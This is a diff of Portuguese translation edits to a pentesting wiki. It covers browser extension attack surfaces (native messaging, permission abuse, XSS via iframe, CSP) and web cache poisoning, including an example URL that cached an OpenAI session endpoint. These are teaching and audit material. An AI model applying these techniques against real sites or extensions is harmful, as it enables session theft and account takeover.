Translated ['.github/pull_request_template.md', 'src/1911-pentesting-fox

.github/pull_request_template.md

@@ -1,6 +1,6 @@
 Você pode remover este conteúdo antes de enviar o PR:
 
 ## Atribuição
-Valorizamos seu conhecimento e incentivamos você a compartilhar conteúdo. Por favor, certifique-se de que você só faz upload de conteúdo que você possui ou que tem permissão para compartilhar do autor original (adicionando uma referência ao autor no texto adicionado ou no final da página que você está modificando ou ambos). Seu respeito pelos direitos de propriedade intelectual promove um ambiente de compartilhamento confiável e legal para todos.
+Valorizamos seu conhecimento e incentivamos você a compartilhar conteúdo. Por favor, certifique-se de que você só faça upload de conteúdo que você possui ou que tenha permissão para compartilhar do autor original (adicionando uma referência ao autor no texto adicionado ou no final da página que você está modificando ou ambos). Seu respeito pelos direitos de propriedade intelectual promove um ambiente de compartilhamento confiável e legal para todos.
 
 Obrigado por contribuir para o HackTricks!

book.toml

@@ -22,6 +22,7 @@ after = ["links"]
 
 [preprocessor.hacktricks]
 command = "python3 ./hacktricks-preprocessor.py"
+env = "prod"
 
 [output.html]
 additional-css = ["theme/pagetoc.css", "theme/tabs.css"]

hacktricks-preprocessor.py

@@ -30,14 +30,16 @@ def ref(matchobj):
     href =  matchobj.groups(0)[0].strip()
     title = href
     if href.startswith("http://") or href.startswith("https://"):
-        # pass
-        try:
-            raw_html = str(urlopen(Request(href, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0'})).read())
-            match = re.search('<title>(.*?)</title>', raw_html)
-            title = match.group(1) if match else href
-        except Exception as e:
-            logger.debug(f'Error opening URL {href}: {e}')
-            pass #nDont stop on broken link
+        if context['config']['preprocessor']['hacktricks']['env'] == 'dev':
+            pass
+        else:
+            try:
+                raw_html = str(urlopen(Request(href, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0'})).read())
+                match = re.search('<title>(.*?)</title>', raw_html)
+                title = match.group(1) if match else href
+            except Exception as e:
+                logger.debug(f'Error opening URL {href}: {e}')
+                pass #nDont stop on broken link
     else:
         try:
             if href.endswith("/"):
@@ -90,7 +92,7 @@ if __name__ == '__main__':
     context, book = json.load(sys.stdin)
 
     logger.debug(f"Context: {context}")
-
+    logger.debug(f"Env: {context['config']['preprocessor']['hacktricks']['env']}")
 
     for chapter in iterate_chapters(book['sections']):
         logger.debug(f"Chapter: {chapter['path']}")

src/pentesting-web/browser-extension-pentesting-methodology/README.md

@@ -22,7 +22,7 @@ O núcleo da extensão contém a maioria dos privilégios/acessos da extensão,
 
 ### **Binário Nativo**
 
-A extensão permite um binário nativo que pode **acessar a máquina host com os privilégios totais do usuário.** O binário nativo interage com o núcleo da extensão através da Interface de Programação de Aplicativos de Plugin Netscape padrão ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) usada pelo Flash e outros plug-ins de navegador.
+A extensão permite um binário nativo que pode **acessar a máquina host com os privilégios totais do usuário.** O binário nativo interage com o núcleo da extensão através da interface de programação de aplicativos padrão do Netscape Plugin ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) usada pelo Flash e outros plug-ins de navegador.
 
 ### Limites
 
@@ -99,7 +99,7 @@ Uma mensagem é enviada para as páginas da extensão pelo script de conteúdo q
 
 Para visualizar e depurar scripts de conteúdo no Chrome, o menu de ferramentas de desenvolvedor do Chrome pode ser acessado em Opções > Mais ferramentas > Ferramentas do desenvolvedor OU pressionando Ctrl + Shift + I.
 
-Após as ferramentas de desenvolvedor serem exibidas, a aba **Source** deve ser clicada, seguida pela aba **Content Scripts**. Isso permite a observação de scripts de conteúdo em execução de várias extensões e a definição de pontos de interrupção para rastrear o fluxo de execução.
+Após as ferramentas de desenvolvedor serem exibidas, a **aba Fonte** deve ser clicada, seguida pela aba **Scripts de Conteúdo**. Isso permite a observação de scripts de conteúdo em execução de várias extensões e a definição de pontos de interrupção para rastrear o fluxo de execução.
 
 ### Scripts de conteúdo injetados
 
@@ -243,10 +243,10 @@ As extensões de navegador podem conter vários tipos de páginas:
 
 <figure><img src="../../images/image (24).png" alt="" width="375"><figcaption></figcaption></figure>
 
-Note que essas páginas não são persistentes como as páginas de fundo, pois carregam conteúdo dinamicamente conforme a necessidade. Apesar disso, elas compartilham certas capacidades com a página de fundo:
+Note que essas páginas não são persistentes como as páginas de fundo, pois carregam conteúdo dinamicamente conforme necessário. Apesar disso, elas compartilham certas capacidades com a página de fundo:
 
 - **Comunicação com Scripts de Conteúdo:** Semelhante à página de fundo, essas páginas podem receber mensagens de scripts de conteúdo, facilitando a interação dentro da extensão.
-- **Acesso a APIs Específicas da Extensão:** Essas páginas têm acesso abrangente a APIs específicas da extensão, sujeitas às permissões definidas para a extensão.
+- **Acesso a APIs Específicas da Extensão:** Essas páginas têm acesso abrangente a APIs específicas da extensão, sujeito às permissões definidas para a extensão.
 
 ### `permissions` & `host_permissions`
 
@@ -262,13 +262,13 @@ browext-permissions-and-host_permissions.md
 
 ### `content_security_policy`
 
-Uma **política de segurança de conteúdo** pode ser declarada também dentro do `manifest.json`. Se houver uma definida, ela pode ser **vulnerável**.
+Uma **política de segurança de conteúdo** também pode ser declarada dentro do `manifest.json`. Se houver uma definida, ela pode ser **vulnerável**.
 
 A configuração padrão para páginas de extensão de navegador é bastante restritiva:
 ```bash
 script-src 'self'; object-src 'self';
 ```
-Para mais informações sobre CSP e possíveis contornos, verifique:
+Para mais informações sobre CSP e possíveis contornos, consulte:
 
 {{#ref}}
 ../content-security-policy-csp-bypass/
@@ -276,7 +276,7 @@ Para mais informações sobre CSP e possíveis contornos, verifique:
 
 ### `web_accessible_resources`
 
-Para que uma página da web acesse uma página de uma Extensão do Navegador, uma página `.html`, por exemplo, essa página precisa ser mencionada no campo **`web_accessible_resources`** do `manifest.json`.\
+para que uma página da web acesse uma página de uma Extensão do Navegador, uma página `.html`, por exemplo, essa página precisa ser mencionada no campo **`web_accessible_resources`** do `manifest.json`.\
 Por exemplo:
 ```javascript
 {
@@ -352,9 +352,9 @@ Para comunicar entre o script de conteúdo e a página web, mensagens postadas s
 
 ### Dentro da extensão
 
-Geralmente, a função **`chrome.runtime.sendMessage`** é usada para enviar uma mensagem dentro da extensão (geralmente tratada pelo script `background`) e, para recebê-la e manipulá-la, um ouvinte é declarado chamando **`chrome.runtime.onMessage.addListener`**.
+Geralmente, a função **`chrome.runtime.sendMessage`** é usada para enviar uma mensagem dentro da extensão (geralmente tratada pelo script `background`) e, para receber e manipulá-la, um ouvinte é declarado chamando **`chrome.runtime.onMessage.addListener`**.
 
-Também é possível usar **`chrome.runtime.connect()`** para ter uma conexão persistente em vez de enviar mensagens únicas, é possível usá-lo para **enviar** e **receber** **mensagens** como no seguinte exemplo:
+Também é possível usar **`chrome.runtime.connect()`** para ter uma conexão persistente em vez de enviar mensagens únicas, é possível usá-la para **enviar** e **receber** **mensagens** como no seguinte exemplo:
 
 <details>
 
@@ -401,7 +401,7 @@ Onde é necessário mencionar o **ID da extensão**.
 
 ### Mensagens Nativas
 
-É possível que os scripts de fundo se comuniquem com binários dentro do sistema, que podem ser **susceptíveis a vulnerabilidades críticas, como RCEs**, se essa comunicação não estiver devidamente segura. [Mais sobre isso mais tarde](./#native-messaging).
+É possível que os scripts de fundo se comuniquem com binários dentro do sistema, que podem ser **susceptíveis a vulnerabilidades críticas, como RCEs**, se essa comunicação não for devidamente protegida. [Mais sobre isso mais tarde](./#native-messaging).
 ```javascript
 chrome.runtime.sendNativeMessage(
 "com.my_company.my_application",
@@ -458,7 +458,7 @@ Uma comunicação segura de Post Message deve verificar a autenticidade da mensa
 - Se uma regex for usada, tenha muito cuidado
 - **Fonte**: `received_message.source !== window` pode ser usado para verificar se a mensagem foi **da mesma janela** onde o Script de Conteúdo está ouvindo.
 
-As verificações anteriores, mesmo que realizadas, podem ser vulneráveis, então verifique na página **potenciais bypasses de Post Message**:
+As verificações anteriores, mesmo se realizadas, podem ser vulneráveis, então verifique na página seguinte **potenciais bypasses de Post Message**:
 
 {{#ref}}
 ../postmessage-vulnerabilities/
@@ -529,7 +529,7 @@ Ao criar novas extensões, a preferência deve ser por promessas em vez de callb
 
 ## Native Messaging
 
-As extensões do navegador também permitem comunicar-se com **binários no sistema via stdin**. O aplicativo deve instalar um json indicando isso em um json como:
+As extensões do navegador também permitem comunicar-se com **binaries no sistema via stdin**. O aplicativo deve instalar um json indicando isso em um json como:
 ```json
 {
 "name": "com.my_company.my_application",
@@ -541,12 +541,12 @@ As extensões do navegador também permitem comunicar-se com **binários no sist
 ```
 Onde o `name` é a string passada para [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) ou [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) para se comunicar com o aplicativo a partir dos scripts de fundo da extensão do navegador. O `path` é o caminho para o binário, há apenas 1 `type` válido que é stdio (use stdin e stdout) e os `allowed_origins` indicam as extensões que podem acessá-lo (e não podem ter wildcard).
 
-O Chrome/Chromium procurará por este json em alguns registros do Windows e alguns caminhos no macOS e Linux (mais informações na [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)).
+O Chrome/Chromium irá procurar por este json em alguns registros do Windows e alguns caminhos no macOS e Linux (mais informações na [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)).
 
 > [!TIP]
 > A extensão do navegador também precisa da permissão `nativeMessaing` declarada para poder usar essa comunicação.
 
-É assim que parece um código de script de fundo enviando mensagens para um aplicativo nativo:
+Assim é como parece um código de script de fundo enviando mensagens para um aplicativo nativo:
 ```javascript
 chrome.runtime.sendNativeMessage(
 "com.my_company.my_application",
@@ -573,9 +573,9 @@ Portanto, a memória da Extensão do Navegador **não deve ser considerada segur
 
 Claro, **não coloque informações sensíveis no código**, pois isso será **público**.
 
-Para extrair a memória do navegador, você pode **extrair a memória do processo** ou ir para as **configurações** da extensão do navegador clicando em **`Inspecionar pop-up`** -> Na seção **`Memória`** -> **`Tirar um instantâneo`** e **`CTRL+F`** para procurar dentro do instantâneo por informações sensíveis.
+Para extrair a memória do navegador, você pode **extrair a memória do processo** ou ir para as **configurações** da extensão do navegador, clicar em **`Inspecionar pop-up`** -> Na seção **`Memória`** -> **`Tirar um instantâneo`** e **`CTRL+F`** para procurar dentro do instantâneo por informações sensíveis.
 
-Além disso, informações altamente sensíveis como chaves mnemônicas ou senhas **não devem ser permitidas para serem copiadas na área de transferência** (ou pelo menos removê-las da área de transferência em poucos segundos) porque então processos que monitoram a área de transferência poderão obtê-las.
+Além disso, informações altamente sensíveis, como chaves mnemônicas ou senhas, **não devem ser permitidas para serem copiadas na área de transferência** (ou pelo menos removê-las da área de transferência em poucos segundos), pois então processos que monitoram a área de transferência poderão obtê-las.
 
 ## Carregando uma Extensão no Navegador
 
@@ -608,7 +608,7 @@ unzip -d "$extension_id-source" "$extension_id.zip"
 
 Outro método conveniente é usar o Chrome Extension Source Viewer, que é um projeto de código aberto. Ele pode ser instalado na [Chrome Web Store](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en). O código-fonte do visualizador está disponível em seu [repositório do GitHub](https://github.com/Rob--W/crxviewer).
 
-### Ver o código-fonte da extensão instalada localmente
+### Visualizar o código-fonte da extensão instalada localmente
 
 As extensões do Chrome instaladas localmente também podem ser inspecionadas. Veja como:
 
@@ -646,12 +646,12 @@ Embora as Extensões de Navegador tenham uma **superfície de ataque limitada**,
 - [ ] **Limitar** o máximo possível o **`externally_connectable`**, se nenhum for necessário e possível, não deixá-lo por padrão, especificar **`{}`**
 - [ ] Se **URL vulnerável a XSS ou a takeover** for mencionada aqui, um atacante poderá **enviar mensagens para os scripts de fundo diretamente**. Um bypass muito poderoso.
 - [ ] **Limitar** o máximo possível os **`web_accessible_resources`**, mesmo vazios se possível.
-- [ ] Se **`web_accessible_resources`** não for nenhum, verificar [**ClickJacking**](browext-clickjacking.md)
-- [ ] Se qualquer **comunicação** ocorrer da **extensão** para a **página da web**, [**verificar XSS**](browext-xss-example.md) **vulnerabilidades** causadas na comunicação.
-- [ ] Se Post Messages forem usados, verificar [**vulnerabilidades de Post Message**](../postmessage-vulnerabilities/)**.**
-- [ ] Se o **Content Script acessar detalhes do DOM**, verificar se **não estão introduzindo um XSS** se forem **modificados** pela web
-- [ ] Fazer uma ênfase especial se essa comunicação também estiver envolvida na **comunicação do Content Script -> script de fundo**
-- [ ] Se o script de fundo estiver se comunicando via **native messaging**, verificar se a comunicação é segura e sanitizada
+- [ ] Se **`web_accessible_resources`** não for nenhum, verifique [**ClickJacking**](browext-clickjacking.md)
+- [ ] Se qualquer **comunicação** ocorrer da **extensão** para a **página da web**, [**verifique por XSS**](browext-xss-example.md) **vulnerabilidades** causadas na comunicação.
+- [ ] Se Post Messages forem usados, verifique por [**vulnerabilidades de Post Message**](../postmessage-vulnerabilities/)**.**
+- [ ] Se o **Content Script acessar detalhes do DOM**, verifique se eles **não estão introduzindo um XSS** se forem **modificados** pela web
+- [ ] Faça uma ênfase especial se essa comunicação também estiver envolvida na **comunicação do Content Script -> script de fundo**
+- [ ] Se o script de fundo estiver se comunicando via **native messaging**, verifique se a comunicação é segura e sanitizada
 - [ ] **Informações sensíveis não devem ser armazenadas** dentro do código da Extensão do Navegador
 - [ ] **Informações sensíveis não devem ser armazenadas** dentro da memória da Extensão do Navegador
 - [ ] **Informações sensíveis não devem ser armazenadas** dentro do **sistema de arquivos sem proteção**
@@ -665,12 +665,12 @@ Embora as Extensões de Navegador tenham uma **superfície de ataque limitada**,
 ### [**Tarnish**](https://thehackerblog.com/tarnish/)
 
 - Puxa qualquer extensão do Chrome a partir de um link fornecido da Chrome webstore.
-- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **visualizador**: simplesmente exibe uma versão JSON formatada do manifesto da extensão.
-- **Análise de Impressão Digital**: Detecção de [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) e geração automática de JavaScript de impressão digital da extensão do Chrome.
-- **Análise Potencial de Clickjacking**: Detecção de páginas HTML de extensão com a diretiva [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) definida. Estas são potencialmente vulneráveis a clickjacking dependendo do propósito das páginas.
-- **Visualizador de Aviso(s) de Permissão**: que mostra uma lista de todos os avisos de prompt de permissão do Chrome que serão exibidos quando um usuário tentar instalar a extensão.
-- **Função(ões) Perigosa(s)**: mostra a localização de funções perigosas que poderiam potencialmente ser exploradas por um atacante (por exemplo, funções como innerHTML, chrome.tabs.executeScript).
-- **Ponto(s) de Entrada**: mostra onde a extensão recebe entrada de usuário/externa. Isso é útil para entender a área de superfície de uma extensão e procurar pontos potenciais para enviar dados maliciosamente elaborados para a extensão.
+- Visualizador de [**manifest.json**](https://developer.chrome.com/extensions/manifest): simplesmente exibe uma versão JSON formatada do manifesto da extensão.
+- Análise de Impressão Digital: Detecção de [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) e geração automática de JavaScript de impressão digital da extensão do Chrome.
+- Análise Potencial de Clickjacking: Detecção de páginas HTML da extensão com a diretiva [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) definida. Estas são potencialmente vulneráveis a clickjacking dependendo do propósito das páginas.
+- Visualizador de Aviso(s) de Permissão: que mostra uma lista de todos os avisos de prompt de permissão do Chrome que serão exibidos quando um usuário tentar instalar a extensão.
+- Função(ões) Perigosa(s): mostra a localização de funções perigosas que poderiam potencialmente ser exploradas por um atacante (por exemplo, funções como innerHTML, chrome.tabs.executeScript).
+- Ponto(s) de Entrada: mostra onde a extensão recebe entrada de usuário/externa. Isso é útil para entender a área de superfície de uma extensão e procurar pontos potenciais para enviar dados maliciosamente elaborados para a extensão.
 - Tanto os scanners de Função(ões) Perigosa(s) quanto de Ponto(s) de Entrada têm o seguinte para seus alertas gerados:
 - Trecho de código relevante e linha que causou o alerta.
 - Descrição do problema.
@@ -679,13 +679,13 @@ Embora as Extensões de Navegador tenham uma **superfície de ataque limitada**,
 - O URI completo da extensão do Chrome do arquivo alertado.
 - O tipo de arquivo que é, como um script de Página de Fundo, Script de Conteúdo, Ação do Navegador, etc.
 - Se a linha vulnerável estiver em um arquivo JavaScript, os caminhos de todas as páginas onde está incluída, bem como o tipo dessas páginas e o status de [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources).
-- **Analisador de Política de Segurança de Conteúdo (CSP) e verificador de bypass**: Isso apontará fraquezas na CSP da sua extensão e também iluminará quaisquer maneiras potenciais de contornar sua CSP devido a CDNs na lista branca, etc.
-- **Bibliotecas Conhecidas Vulneráveis**: Isso usa [Retire.js](https://retirejs.github.io/retire.js/) para verificar qualquer uso de bibliotecas JavaScript conhecidas como vulneráveis.
+- Analisador de Política de Segurança de Conteúdo (CSP) e verificador de bypass: Isso apontará fraquezas na CSP da sua extensão e também iluminará quaisquer maneiras potenciais de contornar sua CSP devido a CDNs na lista branca, etc.
+- Bibliotecas Conhecidas Vulneráveis: Isso usa [Retire.js](https://retirejs.github.io/retire.js/) para verificar qualquer uso de bibliotecas JavaScript conhecidas como vulneráveis.
 - Baixar extensão e versões formatadas.
 - Baixar a extensão original.
-- Baixar uma versão embelezada da extensão (HTML e JavaScript automaticamente formatados).
-- Cache automático dos resultados da varredura, executar uma varredura de extensão levará um bom tempo na primeira vez que você a executar. No entanto, a segunda vez, assumindo que a extensão não foi atualizada, será quase instantânea devido aos resultados estarem em cache.
-- URLs de Relatório linkáveis, facilmente vincule alguém a um relatório de extensão gerado pelo tarnish.
+- Baixar uma versão embelezada da extensão (HTML e JavaScript formatados automaticamente).
+- Cache automático dos resultados da varredura, executar uma varredura de extensão levará um bom tempo na primeira vez que você a executar. No entanto, na segunda vez, assumindo que a extensão não foi atualizada, será quase instantâneo devido aos resultados estarem em cache.
+- URLs de Relatório Linkáveis, facilmente vincule alguém a um relatório de extensão gerado pelo tarnish.
 
 ### [Neto](https://github.com/elevenpaths/neto)
 

src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md

@@ -8,7 +8,7 @@
 
 As permissões são definidas no arquivo **`manifest.json`** da extensão usando a propriedade **`permissions`** e permitem acesso a quase tudo que um navegador pode acessar (Cookies ou Armazenamento Físico):
 
-O manifesto anterior declara que a extensão requer a permissão `storage`. Isso significa que ela pode usar [a API de armazenamento](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) para armazenar seus dados de forma persistente. Ao contrário dos cookies ou das APIs `localStorage`, que dão aos usuários algum nível de controle, **o armazenamento da extensão normalmente só pode ser limpo desinstalando a extensão**.
+O manifesto anterior declara que a extensão requer a permissão `storage`. Isso significa que ela pode usar [a API de armazenamento](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) para armazenar seus dados de forma persistente. Ao contrário de cookies ou APIs `localStorage`, que dão aos usuários algum nível de controle, **o armazenamento da extensão normalmente só pode ser limpo desinstalando a extensão**.
 
 Uma extensão solicitará as permissões indicadas em seu arquivo **`manifest.json`** e, após instalar a extensão, você pode **sempre verificar suas permissões no seu navegador**, como mostrado nesta imagem:
 
@@ -39,7 +39,7 @@ As seguintes `host_permissions` basicamente permitem todos os web:
 ```
 Estes são os hosts que a extensão do navegador pode acessar livremente. Isso ocorre porque, quando uma extensão do navegador chama **`fetch("https://gmail.com/")`**, não está restrita pelo CORS.
 
-## Abusando `permissions` e `host_permissions`
+## Abusando de `permissions` e `host_permissions`
 
 ### Abas
 
@@ -52,10 +52,10 @@ Além disso, **`host_permissions`** também desbloqueia a funcionalidade “avan
 
 Os scripts de conteúdo não precisam necessariamente ser escritos estaticamente no manifesto da extensão. Dadas permissões **`host_permissions`** suficientes, **as extensões também podem carregá-los dinamicamente chamando** [**tabs.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript) **ou** [**scripting.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/scripting/executeScript).
 
-Ambas as APIs permitem executar não apenas arquivos contidos nas extensões como scripts de conteúdo, mas também **código arbitrário**. A primeira permite passar código JavaScript como uma string, enquanto a última espera uma função JavaScript, que é menos propensa a vulnerabilidades de injeção. No entanto, ambas as APIs causarão estragos se forem mal utilizadas.
+Ambas as APIs permitem executar não apenas arquivos contidos nas extensões como scripts de conteúdo, mas também **código arbitrário**. A primeira permite passar código JavaScript como uma string, enquanto a última espera uma função JavaScript que é menos propensa a vulnerabilidades de injeção. No entanto, ambas as APIs causarão estragos se forem mal utilizadas.
 
 > [!CAUTION]
-> Além das capacidades acima, os scripts de conteúdo poderiam, por exemplo, **interceptar credenciais** à medida que são inseridas em páginas da web. Outra maneira clássica de abusar deles é **injetar publicidade** em cada site. Adicionar **mensagens de golpe** para abusar da credibilidade de sites de notícias também é possível. Finalmente, eles poderiam **manipular sites bancários** para redirecionar transferências de dinheiro.
+> Além das capacidades acima, scripts de conteúdo poderiam, por exemplo, **interceptar credenciais** à medida que são inseridas em páginas da web. Outra maneira clássica de abusar deles é **injetar publicidade** em cada site. Adicionar **mensagens de golpe** para abusar da credibilidade de sites de notícias também é possível. Finalmente, eles poderiam **manipular sites bancários** para redirecionar transferências de dinheiro.
 
 ### Privilégios implícitos <a href="#implicit-privileges" id="implicit-privileges"></a>
 
@@ -75,7 +75,7 @@ Se você olhar os possíveis parâmetros de `tabs.create()`, também notará que
 Você provavelmente sabe que os sites podem solicitar permissões especiais, por exemplo, para acessar sua webcam (ferramentas de videoconferência) ou localização geográfica (mapas). São recursos com considerável potencial para abuso, então os usuários têm que confirmar a cada vez que ainda desejam isso.
 
 > [!CAUTION]
-> Não é assim com extensões de navegador. **Se uma extensão de navegador** [**quiser acesso à sua webcam ou microfone**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**, ela só precisa pedir permissão uma vez**
+> Não é assim com extensões de navegador. **Se uma extensão de navegador** [**quer acesso à sua webcam ou microfone**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**, ela só precisa pedir permissão uma vez**
 
 Normalmente, uma extensão fará isso imediatamente após ser instalada. Uma vez que este aviso é aceito, **o acesso à webcam é possível a qualquer momento**, mesmo que o usuário não esteja interagindo com a extensão nesse momento. Sim, um usuário só aceitará este aviso se a extensão realmente precisar de acesso à webcam. Mas depois disso, eles têm que confiar na extensão para não gravar nada secretamente.
 
@@ -83,7 +83,7 @@ Com acesso à [sua localização geográfica exata](https://developer.mozilla.or
 
 Adicionar a palavra-chave **`history`** à [entrada de permissões](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) do manifesto da extensão concede **acesso à** [**history API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history). Isso permite recuperar todo o histórico de navegação do usuário de uma só vez, sem esperar que o usuário visite esses sites novamente.
 
-A **permissão `bookmarks`** tem um potencial de abuso semelhante, pois permite **ler todos os favoritos via a** [**bookmarks API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks).
+A **permissão `bookmarks`** tem potencial de abuso semelhante, permitindo **ler todos os favoritos via a** [**bookmarks API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks).
 
 ### Permissão de armazenamento <a href="#the-storage-permission" id="the-storage-permission"></a>
 
@@ -93,13 +93,13 @@ No entanto, empresas de publicidade também poderiam abusar desse armazenamento.
 
 ### Mais permissões
 
-Você pode encontrar a [**lista completa de permissões que uma Extensão de Navegador Chromium pode solicitar aqui**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions) e uma [**lista completa para extensões Firefox aqui**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api_permissions)**.**
+Você pode encontrar a [**lista completa de permissões que uma Extensão do Navegador Chromium pode solicitar aqui**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions) e uma [**lista completa para extensões do Firefox aqui**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api_permissions)**.**
 
 ## Prevenção <a href="#why-not-restrict-extension-privileges" id="why-not-restrict-extension-privileges"></a>
 
 A política do desenvolvedor do Google proíbe explicitamente extensões de solicitar mais privilégios do que o necessário para sua funcionalidade, mitigando efetivamente solicitações excessivas de permissões. Um exemplo em que uma extensão de navegador ultrapassou esse limite envolveu sua distribuição com o próprio navegador, em vez de através de uma loja de complementos.
 
-Os navegadores poderiam ainda restringir o uso indevido de privilégios de extensão. Por exemplo, as APIs [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) e [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) do Chrome, usadas para gravação de tela, são projetadas para minimizar abusos. A API tabCapture só pode ser ativada através da interação direta do usuário, como clicar no ícone da extensão, enquanto desktopCapture requer confirmação do usuário para a janela a ser gravada, prevenindo atividades de gravação clandestinas.
+Os navegadores poderiam ainda restringir o uso indevido de privilégios de extensão. Por exemplo, as APIs [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) e [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) do Chrome, usadas para gravação de tela, são projetadas para minimizar abusos. A API tabCapture só pode ser ativada através da interação direta do usuário, como clicar no ícone da extensão, enquanto desktopCapture requer confirmação do usuário para a janela a ser gravada, prevenindo atividades de gravação clandestina.
 
 No entanto, o endurecimento das medidas de segurança muitas vezes resulta em menor flexibilidade e facilidade de uso das extensões. A [permissão activeTab](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) ilustra essa troca. Ela foi introduzida para eliminar a necessidade de extensões solicitarem privilégios de host em toda a internet, permitindo que extensões acessem apenas a aba atual mediante ativação explícita pelo usuário. Este modelo é eficaz para extensões que requerem ações iniciadas pelo usuário, mas falha para aquelas que requerem ações automáticas ou preventivas, comprometendo assim a conveniência e a capacidade de resposta imediata.
 

src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md

@@ -46,7 +46,7 @@ Uma Política de Segurança de Conteúdo excessivamente permissiva, como:
 ```
 permite a execução de JavaScript, tornando o sistema vulnerável a ataques XSS.
 
-Uma abordagem alternativa para provocar o XSS envolve criar um elemento Iframe e definir sua fonte para incluir o script prejudicial como o parâmetro `content`:
+Uma abordagem alternativa para provocar o XSS envolve a criação de um elemento Iframe e a definição de sua fonte para incluir o script prejudicial como o parâmetro `content`:
 ```javascript
 let newFrame = document.createElement("iframe")
 newFrame.src =

src/pentesting-web/cache-deception/README.md

@@ -56,7 +56,7 @@ Outro cabeçalho interessante é **`Vary`**. Este cabeçalho é frequentemente u
 
 Mais um cabeçalho relacionado ao cache é **`Age`**. Ele define o tempo em segundos que o objeto esteve no cache do proxy.
 
-Ao armazenar uma solicitação em cache, tenha **cuidado com os cabeçalhos que você usa**, pois alguns deles podem ser **usados inesperadamente** como **chaveados** e a **vítima precisará usar aquele mesmo cabeçalho**. Sempre **teste** um Cache Poisoning com **navegadores diferentes** para verificar se está funcionando.
+Ao armazenar uma solicitação em cache, tenha **cuidado com os cabeçalhos que você usa**, pois alguns deles podem ser **usados inesperadamente** como **chaveados** e a **vítima precisará usar esse mesmo cabeçalho**. Sempre **teste** um Cache Poisoning com **navegadores diferentes** para verificar se está funcionando.
 
 ## Exemplos de Exploração
 
@@ -77,7 +77,7 @@ _Note que isso irá envenenar uma solicitação para `/en?region=uk` e não para
 cache-poisoning-to-dos.md
 {{#endref}}
 
-### Usando o envenenamento de cache da web para explorar vulnerabilidades de manipulação de cookies
+### Usando envenenamento de cache da web para explorar vulnerabilidades de manipulação de cookies
 
 Os cookies também podem ser refletidos na resposta de uma página. Se você puder abusar disso para causar um XSS, por exemplo, poderá explorar XSS em vários clientes que carregam a resposta de cache maliciosa.
 ```markup
@@ -97,7 +97,7 @@ cache-poisoning-via-url-discrepancies.md
 
 ### Envenenamento de cache com travessia de caminho para roubar chave da API <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
 
-[**Este artigo explica**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) como foi possível roubar uma chave da API do OpenAI com uma URL como `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` porque qualquer coisa que corresponda a `/share/*` será armazenada em cache sem que o Cloudflare normalize a URL, o que foi feito quando a solicitação chegou ao servidor web.
+[**Este artigo explica**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) como foi possível roubar uma chave da API OpenAI com uma URL como `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` porque qualquer coisa que corresponda a `/share/*` será armazenada em cache sem que o Cloudflare normalize a URL, o que foi feito quando a solicitação chegou ao servidor web.
 
 Isso também é explicado melhor em:
 
@@ -107,7 +107,7 @@ cache-poisoning-via-url-discrepancies.md
 
 ### Usando múltiplos cabeçalhos para explorar vulnerabilidades de envenenamento de cache web <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
 
